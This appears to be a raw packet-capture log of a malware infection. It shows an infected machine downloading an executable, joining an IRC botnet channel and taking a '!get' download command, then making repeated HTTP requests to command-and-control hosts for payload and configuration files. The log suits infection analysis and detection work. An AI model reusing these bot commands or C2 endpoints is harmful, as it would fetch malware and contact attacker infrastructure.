VICTIM: GET /x.exe HTTP/1.0User-Agent: Mozilla/4.0Host: 79.163.129.125:1200 VICTIM: NICK aztatismUSER o020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG aztatism :!get http:/goasi.cn/ex/a.php ATTACKER: GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: goasi.cnPragma: no-cache ATTACKER: GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.plConnection: Keep-Alive ATTACKER: GET /stx3/fout.php HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: goasi.cnConnection: Keep-Alive ATTACKER: GET /dll/us.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: goasi.cnConnection: Keep-Alive ATTACKER: GET /banner/crcmds/main HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/init HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/uacsrcr.dat HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/update HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uacd HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uacc HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uaclog HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uacmask HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uacserf HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/types/standart HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/types/standart HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/types/standart HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/affids/139 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/subids/clean4 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uacmal.db HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uacrem HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crcmds/builds/bbr HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /banner/crfiles/uacbbr HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: trafficstatic.comPragma: no-cache ATTACKER: GET /?gd=KCo7MD8uPS4iPA==&affid=XlxW&subid=DAMKDgFb&prov=Xw==&mode=cr&v=5 HTTP/1.0User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9Host: statsanalist.cn ATTACKER: GET /?gd=ICQwJiE8Oy4jIw==&affid=XlxW&subid=DAMKDgFb&prov=Xl9fXl8=&mode=cr&v=5 HTTP/1.0User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9Host: statsanalist.cn